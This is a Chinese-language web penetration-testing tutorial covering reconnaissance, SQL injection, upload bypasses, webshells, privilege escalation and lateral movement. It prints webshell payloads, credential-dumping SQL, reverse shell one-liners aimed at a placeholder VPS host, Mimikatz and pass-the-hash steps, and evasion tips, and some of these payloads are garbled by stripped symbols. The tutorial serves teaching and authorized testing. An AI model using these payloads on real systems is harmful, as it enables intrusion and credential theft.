Web渗透测试实战:从80端口信息收集到内网横向移动全流程解析
1. 项目概述为什么80端口是渗透测试的“兵家必争之地”干了这么多年渗透测试我敢说十个项目里有九个半都得跟80端口打交道。这玩意儿太常见了几乎成了Web服务的代名词。你随便找个公司甭管是官网、OA系统、CRM还是内部管理平台十有八九都是通过80端口或者它的加密兄弟443端口对外提供服务的。所以对80端口的渗透测试本质上就是对Web应用安全性的全面体检是渗透测试工程师的“基本功”也是“重头戏”。很多人觉得不就是个Web嘛扫一扫、跑跑工具、打打漏洞就完事了。但真上手你就会发现远不是那么回事。从信息收集的广度深度到漏洞利用的精细程度再到各种防护措施的绕过技巧每一步都藏着坑。更别提现在稍微有点规模的应用前面都挂着WAFWeb应用防火墙后面可能还有各种奇奇怪怪的过滤规则直接拿公开的POC概念验证代码往上怼十有八九会被拦得死死的。这篇文章我就结合自己踩过的无数个坑把针对80端口Web服务的渗透测试从思路到实战再到各种绕过的“骚操作”给你掰开揉碎了讲清楚。无论你是刚入门的新手还是想梳理体系的老鸟相信都能找到对你有用的东西。2. 渗透测试核心思路与流程拆解2.1 整体流程从“看见”到“拿下”一个完整的、针对80端口Web服务的渗透测试绝不是东一榔头西一棒槌。它应该是一个逻辑严密、层层递进的过程。我习惯把它分为五个核心阶段你可以把它想象成一场战役情报侦察信息收集这是所有行动的基础。你的目标是尽可能全面地绘制出“目标地图”。这包括目标是谁域名、IP、公司背景它有哪些“资产”子域名、关联IP、端口、目录、技术栈它的“防御工事”如何用了什么WAF、CDN、中间件信息收集的细致程度直接决定了后续攻击的效率和成功率。很多人一上来就急着扫描漏洞往往事倍功半。漏洞探测主动扫描与手动测试在情报的基础上进行系统性的漏洞发现。这里要分“自动化”和“手工”两条腿走路。自动化工具如AWVS、Nessus、Xray能快速覆盖常见漏洞但深度不够且容易被WAF拦截。手工测试则需要测试者根据目标使用的技术如ThinkPHP、Spring Boot、某CMS针对性地测试其已知漏洞和逻辑缺陷。这个阶段的目标是找到尽可能多的“入口点”。漏洞利用与权限突破找到入口后就要尝试将其转化为实际的战果。比如一个SQL注入点要能利用它获取数据库数据甚至执行系统命令一个文件上传点要能绕过限制上传Webshell。这一步考验的是对漏洞原理的深入理解和各种绕过技巧的灵活运用。权限提升与横向移动拿到Web服务器的权限比如一个www-data或IIS_USER权限往往只是开始。我们需要将这个权限提升到更高如root或SYSTEM并在内网中进行横向移动控制更多的机器。这涉及到系统漏洞提权、密码哈希抓取与破解、内网服务探测攻击等。痕迹清理与报告撰写在授权测试中最后一步是清理测试过程中留下的明显痕迹如Webshell、创建的账户等并撰写一份详实、清晰、可复现的测试报告将风险直观地呈现给客户。2.2 核心原则绕过与对抗思维在整个流程中你必须时刻绷紧一根弦你的对手不是静止的靶子而是动态的防御体系。因此“绕过”思维要贯穿始终。绕过WAF这是最常见的对抗。WAF会基于规则拦截恶意请求。你的Payload需要变形比如通过大小写转换、插入注释符、编码、等价替换函数等方式让恶意代码“骗过”规则引擎同时还能被后端数据库或应用正常解析。绕过前端验证很多过滤和验证只在浏览器端用JavaScript完成。直接抓包修改请求或者禁用JS往往就能轻松绕过。比如文件上传的白名单检查前端判断文件后缀后端可能根本没做校验。绕过逻辑缺陷这是更高阶的。比如验证码在服务器端生成后返回给了客户端但校验时却用了客户端传回来的验证码值做对比这就产生了“用你给我的答案来验证你”的逻辑漏洞。又比如修改请求中的用户ID参数就能越权访问他人数据。 记住工具是死的人是活的。自动化扫描报告里的“中危漏洞”可能因为WAF的存在而无法利用而一个不起眼的参数经过手工测试可能发现严重的逻辑漏洞。所以手工测试的深度和绕过技巧的储备是区分普通测试者和高手的关键。3. 信息收集构建全方位目标画像信息收集是渗透测试的“眼睛”看得越清打得越准。这一阶段的目标是低成本、无接触地获取一切公开或半公开的信息。3.1 基础资产发现域名与子域名枚举工具subfinder,amass,assetfinder,OneForAll。这些工具会从证书透明度日志、搜索引擎、DNS数据集等公开来源收集子域名。字典爆破使用gobuster、ksubdomain等工具配合强大的子域名字典进行爆破。常用的字典有subdomains-top1million-110000.txt等。搜索引擎语法利用site:example.com、-site:www.example.com site:*.example.com等语法在Google、Bing、Shodan、Fofa、ZoomEye上搜索。实操心得不要只满足于工具的默认运行。将多种工具的结果合并、去重后你往往会得到最全面的子域名列表。对于重要目标我通常会跑2-3种工具再结合手工搜索。IP地址与C段探测通过DNS解析获取主域名和子域名的A记录。如果目标使用了CDN如Cloudflare、阿里云CDN获取的真实服务器IP即“源站IP”就变得至关重要。寻找源站IP的方法包括查询历史DNS记录利用SecurityTrails、ViewDNS等网站。寻找未接入CDN的子域名如mail.example.com,dev.example.com其IP可能指向源站。让目标服务器主动连接你的服务器从而暴露IP如通过邮件服务器、SSRF漏洞等。获取到某个IP后可以探测其所在的C段如192.168.1.0/24看看同一网段下是否有其他属于目标公司的资产。工具nmap,masscan。端口扫描与服务识别虽然目标是80端口但全面扫描必不可少。一台服务器可能开放了21FTP、22SSH、3306MySQL、6379Redis等端口这些都可能成为后续的突破口。工具nmap是首选。一个基本的命令是nmap -sS -sV -p- -T4 target_ip。其中-sS是SYN半开扫描较快且隐蔽-sV探测服务版本-p-扫描所有端口1-65535-T4指定速度。注意全端口扫描速度慢、流量大在授权测试中也要谨慎避免对目标网络造成影响。可以先扫描常见端口-p 1-1000,3389,6379,8080等。3.2 Web应用指纹识别确定开放80/443端口的IP后下一步就是识别其上运行的Web应用的具体信息。前端技术栈框架查看HTML源码、JavaScript文件、Cookie、HTTP响应头。例如X-Powered-By: PHP/7.4或Set-Cookie: PHPSESSID提示PHP特定的CSS/JS路径可能暴露Bootstrap、Vue、React等。WAF识别发送一个明显的恶意请求如/etc/passwd观察返回页面的特征。不同的WAF有独特的拦截页面。工具wafw00f。后端技术栈中间件/服务器Server响应头是关键如Server: nginx/1.18,Server: Apache/2.4.41。编程语言通过文件后缀.php,.jsp,.aspx、错误信息、URL特征如/index.php?module...判断。数据库通过错误信息如MySQL的You have an error in your SQL syntax、特定参数名如/news?id1暗示可能是数据库查询来推断。CMS与特定应用识别很多网站使用WordPress、Joomla、Drupal、ThinkPHP、Spring Boot等现成框架或CMS。它们有固定的文件路径、目录结构、Cookie和HTML特征。工具whatweb,Wappalyzer浏览器插件CMSeek。输入URL工具会自动匹配特征库。踩坑记录指纹识别一定要准。我曾误将一个ThinkPHP站点识别为普通PHP站结果用常规SQL注入Payload测试了半天没反应。后来识别出是ThinkPHP直接尝试其历史RCE漏洞瞬间拿下。准确识别能让你事半功倍。3.3 目录与敏感文件探测即使首页看起来固若金汤一个暴露的后台登录入口、一个备份的源码文件、一个未授权访问的API接口都可能成为突破口。目录爆破工具gobuster,dirsearch,ffuf。它们通过字典尝试访问/admin,/backup,/upload等成千上万个常见路径。字典选择通用的字典如common.txt,directory-list-2.3-medium.txt是基础。针对特定CMS如wordlist.txtfor WordPress或开发语言如asp.txt的字典效果更好。命令示例gobuster dir -u http://target.com -w /path/to/wordlist.txt -x php,txt,bak,zip敏感文件发现除了目录还要寻找特定文件robots.txt可能暴露目录、crossdomain.xml跨域策略、.git/目录源码泄露、.DS_StoreMac目录信息、WEB-INF/web.xmlJava Web配置可能泄露源码路径、phpinfo.php泄露服务器配置信息。备份文件index.php.bak,www.zip,tar.gz等开发人员可能忘记删除导致源码泄露。注意事项目录爆破会产生大量请求容易被WAF封IP。需要控制速率-t线程数调低或使用代理池。同时要仔细分析返回结果的状态码200成功403禁止302重定向、响应大小避免被海量数据淹没。一个403的/admin目录可能比一个404的更有价值。4. 漏洞探测自动化与手工的有机结合信息收集完毕后我们手里有一份目标清单IP、域名、开放的服务、技术指纹。现在开始寻找它们的“裂缝”。4.1 自动化漏洞扫描自动化扫描适合快速覆盖大面积、常见漏洞是“面”上的工作。综合型扫描器AWVS, Nessus, AppScan商业工具功能强大检测引擎成熟报告美观。但价格昂贵且攻击特征明显在严密的WAF面前容易“暴毙”。Xray, Nuclei社区活跃的免费/开源工具。特别是Nuclei基于YAML的POC模板社区贡献了大量漏洞检测脚本更新极快对新型漏洞响应迅速。专项扫描器SQL注入sqlmap依然是王者。它能自动识别注入点、数据库类型并执行从数据获取到文件读写、命令执行的全套操作。XSSXSStrike,dalfox等工具比传统扫描器在XSS检测上更智能能处理一些简单的过滤和混淆。核心技巧永远不要完全依赖自动化扫描报告。扫描器报出的“漏洞”可能是误报如一个无害的静态页面被报为SQL注入而真正的漏洞尤其是逻辑漏洞扫描器根本发现不了。要把扫描报告当作“线索清单”需要人工逐一验证、深入测试。4.2 手工漏洞测试这是渗透测试的“灵魂”考验的是测试者的知识、经验和思维。SQL注入手工测试寻找注入点所有与数据库交互的参数都可能存在注入如URL参数?id1、POST表单字段、Cookie、HTTP头如X-Forwarded-For。判断注入类型数字型id1和id2-1结果相同。字符型nameadmin和nameadmin构造闭合结果可能报错或异常。搜索型keywordtest%。常用测试Payload逻辑测试1 AND 11/1 AND 12观察页面返回差异。报错测试1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)--观察响应时间时间盲注。联合查询确定字段数后用UNION SELECT 1,2,3,...在页面上回显数据。MyBatis#{}绕过这是近期一个热点。MyBatis中#{}是预编译占位符能防注入而${}是字符串拼接存在风险。但如果开发错误地使用了${}或者在某些复杂动态SQL场景下如ORDER BY后跟参数#{}可能无法使用被迫用了${}就可能产生注入。手工测试时要关注order,sort,field这类参数。文件上传漏洞手工测试绕过前端验证直接抓包Burp Suite修改filename为shell.php无视前端JS检查。绕过黑名单特殊后缀php3,phtml,phps,pht如果服务器配置了解析。大小写Php,PHP。双写后缀shell.pphphp如果过滤逻辑是删除php字符串。加点加空格shell.php.,shell.phpWindows系统可能自动去除末尾点和空格。绕过内容类型检查抓包修改Content-Type为image/jpeg或image/png。绕过文件头检查在恶意脚本内容前添加图片的文件头如GIF89a。结合其他漏洞如果服务器会解析.htaccess文件可以上传一个自定义的.htaccess设置将.jpg文件解析为PHP。或者利用文件包含漏洞上传一个内容为PHP代码的图片然后去包含它。逻辑漏洞挖掘 这是自动化工具的盲区也是体现水平的地方。越权访问水平越权修改请求中的用户ID参数如/user/profile?uid10086尝试访问其他用户的数据。垂直越权普通用户尝试访问管理员功能URL如/admin/user/list或修改Cookie/Token中的权限标识。验证码绕过客户端校验验证码在页面生成并显示校验时却用了前端传回的值。抓包重放即可绕过。验证码复用服务器端未使验证码一次性失效同一个验证码可多次使用。验证码空值提交空验证码或删除验证码参数可能绕过校验。验证码逻辑缺陷验证码与手机号/邮箱未强绑定可以先请求一个验证码给A手机然后用B手机号这个验证码尝试注册/登录。业务逻辑缺陷如支付环节修改商品价格为负数或极小值充值环节修改到账金额大于支付金额优惠券无限领取等。这需要深入理解业务流程并大胆假设、小心测试。5. 漏洞利用与权限突破实战详解找到漏洞只是开始如何利用它拿到服务器权限才是真正的挑战。5.1 SQL注入的深度利用假设我们通过手工测试确认了一个字符型报错注入点http://target.com/news.php?id1。信息获取判断数据库类型通过报错信息MySQL, PostgreSQL, SQL Server各有特色或使用特性函数如id1 AND version()0--。假设是MySQL我们可以用union select获取数据。首先判断字段数order by 4正常order by 5报错说明有4个字段。查看回显点id-1 union select 1,2,3,4--看页面哪里显示了数字2和3。获取关键数据查询当前数据库id-1 union select 1,database(),3,4--查询所有数据库名id-1 union select 1,group_concat(schema_name),3,4 from information_schema.schemata--查询当前数据库的所有表id-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase()--假设找到admin表查询其字段id-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_nameadmin and table_schemadatabase()--最终拖取管理员账号密码id-1 union select 1,username,password,4 from admin--写入Webshell获取权限这是关键一步。需要知道网站的绝对路径并且数据库用户有FILE_priv权限。通过报错、PHP探针、扫描遗留文件如phpinfo.php等方式获取路径。写入一句话木马id1 UNION SELECT 1,?php eval($_POST[cmd]);?,3,4 into outfile /var/www/html/shell.php--如果Windows系统路径可能是C:\\xampp\\htdocs\\shell.php。注意路径中的斜杠和转义。踩坑记录into outfile对路径和权限要求很苛刻。经常遇到路径错误、目录无写权限、数据库用户无FILE权限等问题。备选方案是利用into dumpfile或者如果支持堆叠查询可以尝试修改表数据为PHP代码然后让应用包含这个表比较少见。5.2 文件上传获取Webshell假设我们找到一个图片上传点并成功绕过前端和后端检查上传了一个包含?php system($_GET[c]);?的shell.jpg文件但服务器不解析.jpg。结合文件包含漏洞如果网站存在本地文件包含LFI漏洞例如http://target.com/index.php?page../../uploads/shell.jpg那么服务器就会将shell.jpg当作PHP文件来解析我们就能执行命令了。利用服务器解析特性Apache解析漏洞老版本Apache在遇到shell.php.xxxxxx为不认识的后缀时可能会从右向左解析直到遇到认识的后缀最终解析为PHP。上传shell.php.jpg可能被解析。IIS6.0解析漏洞shell.asp;.jpg或shell.asp:.jpg需要特殊权限可能被IIS6解析为ASP文件。Nginx配置错误如果Nginx配置不当例如location ~ \.php$匹配了.php结尾的文件但用户上传的文件路径被错误地传递给了PHP-FPM可能导致非.php文件被解析。例如上传shell.jpg但访问/uploads/shell.jpg/.phpNginx看到路径以.php结尾就交给PHP处理PHP-FPM可能取/uploads/shell.jpg这个文件来执行。重要提示现代Web服务器和框架默认配置下这些经典解析漏洞已较少见但配置错误的情况依然存在。测试时要结合中间件版本和配置。5.3 命令执行与反弹Shell通过SQL注入的into outfile或文件上传拿到Webshell后我们通常得到一个执行系统命令的接口。Webshell管理使用中国菜刀、蚁剑、冰蝎等客户端工具连接一句话木马可以图形化操作文件、数据库、执行命令比手动传命令方便得多。注意这些工具的流量特征明显容易被安全设备发现。在实战中尤其是攻防演练建议使用自定义的、加密的Webshell或直接使用系统自带的工具进行后续操作。反弹Shell在Webshell里直接执行命令是“正向连接”可能受到网络策略限制如服务器不能出网。更可靠的方式是让目标服务器主动连接我们控制的机器即“反弹Shell”。常用命令在自己的VPS上监听端口nc -lvnp 4444在目标Webshell中执行根据目标系统选择Linux Bash:bash -c bash -i /dev/tcp/your_vps_ip/4444 01Linux Python:python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((your_vps_ip,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);Windows可以使用PowerShell命令或上传nc.exe。成功反弹后我们就获得了一个更稳定的交互式命令行会话。6. 权限提升与内网横向移动拿到Web服务器的低权限Shell如www-data,apache,iis apppool\defaultapppool后工作只完成了一半。我们需要提升权限并探索内网。6.1 Linux系统提权信息收集uname -a系统内核版本cat /etc/issue发行版信息sudo -l查看当前用户可以以root身份执行哪些命令这是最该先检查的find / -perm -4000 2/dev/null查找SUID特权文件cat /etc/passwd查看用户ps aux查看进程找root运行的、有漏洞版本的服务ifconfig或ip addr查看网络信息找内网IP段常见提权方法利用SUID文件如果发现find,vim,bash,nmap等命令具有SUID权限并且属于root可以利用它们执行命令。例如find . -exec /bin/sh \; -quit。利用sudo权限如果sudo -l显示可以无密码运行某些命令如/usr/bin/vim,/usr/bin/python那么可以直接sudo vim然后在vim里执行:!bash获取root shell。利用内核漏洞根据收集到的内核版本搜索公开的本地提权EXP。如DirtyCowCVE-2016-5195。使用searchsploit或互联网搜索。务必先在测试环境验证EXP的稳定性和影响避免导致目标系统崩溃。利用定时任务Cron查看/etc/crontab是否有以root权限运行的脚本且该脚本我们可写或可影响其内容。利用环境变量劫持如果有一个SUID程序调用了另一个相对路径的命令如system(ls)我们可以通过设置PATH环境变量让我们自己的恶意ls程序优先被执行。6.2 Windows系统提权信息收集systeminfo系统补丁信息whoami /priv查看当前用户特权net user和net localgroup administrators查看用户和管理员组tasklist /svc查看进程和服务常见提权方法利用系统服务漏洞使用accesschk.exeSysInternals工具检查哪些服务当前用户有“修改配置”或“启动/停止”权限。如果可以修改一个以SYSTEM运行的服务所指向的可执行文件路径替换成我们的恶意程序重启服务即可提权。利用AlwaysInstallElevated检查注册表项HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated和HKLM\...是否设置为1。如果是任何MSI安装包都将以高权限运行我们可以制作一个包含提权命令的MSI包。利用可写路径注入如果PATH环境变量中的某个目录如C:\ProgramData当前用户可写并且有一个以高权限运行的程序调用了该目录下的某个命令或未指定绝对路径我们可以放置一个同名的恶意可执行文件进行劫持。利用内核漏洞和Linux一样根据systeminfo输出的补丁列表寻找缺失的补丁对应的提权EXP。如PrintNightmareCVE-2021-1675/CVE-2021-34527、Juicy Potato针对特定服务账户等。6.3 内网横向移动提权到高权限如root/Administrator后就可以以当前机器为跳板攻击内网其他主机。内网信息收集arp -a或ip neigh查看ARP缓存发现同网段主机netstat -ano查看网络连接发现与其他内网IP的通信type C:\Windows\System32\drivers\etc\hosts查看主机文件上传内网扫描工具如nmapfor Windows/Linux或使用fscan、ladon等综合扫描器对内网网段如192.168.1.0/24,10.10.10.0/24进行快速资产发现和漏洞探测。密码哈希抓取与破解Linux/etc/shadow文件存储了用户密码哈希需要root读取。可以使用unshadow工具结合john或hashcat进行破解。WindowsMimikatz神器。在内存中抓取登录用户的明文密码或NTLM哈希。命令privilege::debug-sekurlsa::logonpasswords。注册表导出通过reg save命令导出SAM和SYSTEM文件然后在本地使用secretsdump.pyImpacket套件或mimikatz离线提取哈希。哈希传递攻击如果抓取到的是NTLM哈希而非明文密码且目标系统未启用Credential Guard等防护可以直接使用该哈希远程登录其他机器无需破解。工具psexec.pyImpacket、CrackMapExec。利用内网服务漏洞扫描发现的内网主机可能开放着存在漏洞的服务如永恒之蓝MS17-010攻击SMB服务、Weblogic反序列化、Redis未授权访问、Jenkins未授权命令执行等。利用这些漏洞可以直接获取权限。搭建代理穿透内网为了让我们本地的攻击工具能直接访问内网资源需要在跳板机上搭建代理。SOCKS代理使用EarthWorm,frp,ngrok等工具在跳板机上启动一个SOCKS5服务然后在本机配置代理即可让浏览器、扫描器等工具流量通过跳板机进入内网。端口转发如果只需要访问内网某个特定端口可以使用lcx,netshWindows或ssh -L/-RLinux进行端口转发。7. 常见问题、踩坑记录与排查技巧这一部分是我多年实战中血与泪的结晶希望能帮你少走弯路。7.1 信息收集阶段问题子域名爆破毫无结果。排查字典不合适。尝试更换更全面或更针对性的字典。检查网络连接和DNS设置。目标可能使用了泛解析*.example.com都解析到同一个IP这会干扰爆破结果。问题扫描器一启动就被封IP。技巧使用代理池如ScanProxy、自己搭建的代理服务器集群来轮换IP。降低扫描速率-T参数设为0或1。在Burp Suite的Intruder或Repeater模块中手动测试行为更像正常用户。7.2 漏洞探测与利用阶段问题sqlmap跑不出注入但手工测试有明显异常。原因WAF拦截了sqlmap的Payload。sqlmap的--tamper参数可以指定脚本来混淆Payload如--tamperspace2comment,randomcase。更有效的方法是手工找到一个能触发的Payload然后用sqlmap的-p参数指定注入点并--flush-session重新测试同时使用--level和--risk提高检测等级。踩坑记录我曾遇到一个站点参数经过了一层自定义的URL编码sqlmap直接测试无效。抓包看到参数是dataBase64(Gzip(原始参数))。解决办法是用Burp Suite的Decoder模块先处理好参数然后把整个请求包保存为.txt文件用sqlmap -r request.txt来加载测试并关闭URL编码--no-escape。问题文件上传成功但访问返回404或403。排查确认上传路径是否正确。查看上传成功后的返回信息或抓包看响应。确认文件是否被重命名。很多系统会生成随机文件名。确认目录是否有执行权限。chmod x shell.phpLinux。确认中间件是否解析该后缀。尝试上传一个纯文本文件看是否能访问。可能文件被安全软件实时删除了。问题反弹Shell命令执行了但VPS上没收到连接。排查出网检查在目标机上执行curl https://www.baidu.com或ping 8.8.8.8看是否能通外网。端口检查确认VPS的防火墙是否放行了监听端口如4444。可以用nc -zv your_vps_ip 4444在另一台机器测试。命令语法Linux和Windows的命令不同bash和sh也有细微差别。尝试使用更通用的命令如rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc your_vps_ip 4444 /tmp/f。编码问题在Webshell里执行命令时特殊字符如,,可能需要URL编码。最好将整个反弹Shell命令编码后传递。7.3 权限提升与横向阶段问题内核EXP编译失败或运行崩溃。技巧尽量寻找目标系统环境对应的预编译EXP。如果必须编译确保使用与目标系统相同或兼容的GCC版本和内核头文件。可以在本地搭建相同版本的系统进行编译。运行前先在其他非关键任务上测试。问题Mimikatz运行报错无法抓取密码。排查权限不够需要Administrator或SYSTEM权限。系统开启了LSA保护RunAsPPL。需要先绕过或使用mimidrv.sys驱动版。杀毒软件拦截。尝试对Mimikatz进行免杀处理或使用其他工具如procdump导出lsass.exe进程内存再到本地用Mimikatz分析。问题哈希传递PTH失败。排查目标系统是否关闭了NTLM认证查看HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RestrictRemoteSAM等策略。是否启用了Credential GuardWindows 10/Server 2016这会使PTH失效。防火墙是否阻止了445SMB或5985WinRM端口账户是否被禁用或者目标机器是否不在同一个域7.4 通用避坑指南备份意识在修改任何系统文件、注册表、网站文件前先备份。一个错误的rm -rf或reg delete可能导致服务中断在授权测试中这是大忌。操作审慎在内网横向时避免使用破坏性大的漏洞利用如永恒之蓝的某些利用模块可能导致系统蓝屏。优先使用凭证窃取、服务配置不当等“温和”的方式。流量隐蔽敏感操作如传输工具、下载文件尽量使用加密通道。能使用目标系统自带工具如certutil,bitsadmin,python,powershell就别从外网下载。避免在命令行留下明显历史记录。时间管理授权测试有时间限制。制定好计划优先测试高风险、常见的漏洞如SQL注入、RCE、未授权访问。逻辑漏洞和需要深度交互的漏洞可以放在后面。渗透测试是一个永无止境的学习过程80端口的世界更是如此。新的框架、新的防护手段、新的绕过技巧层出不穷。这份总结是我过去经验的凝结但绝不是终点。真正的提升来自于一次又一次的实战来自于对每个“为什么”的深入探究来自于踩坑后的复盘与总结。保持好奇心保持动手的习惯你会在Web安全的道路上越走越远。最后一个小建议搭建自己的靶场环境如DVWA、WebGoat、各种CTF靶机反复练习把文章里的每一步都亲手操作一遍直到形成肌肉记忆。这才是从“知道”到“做到”的唯一路径。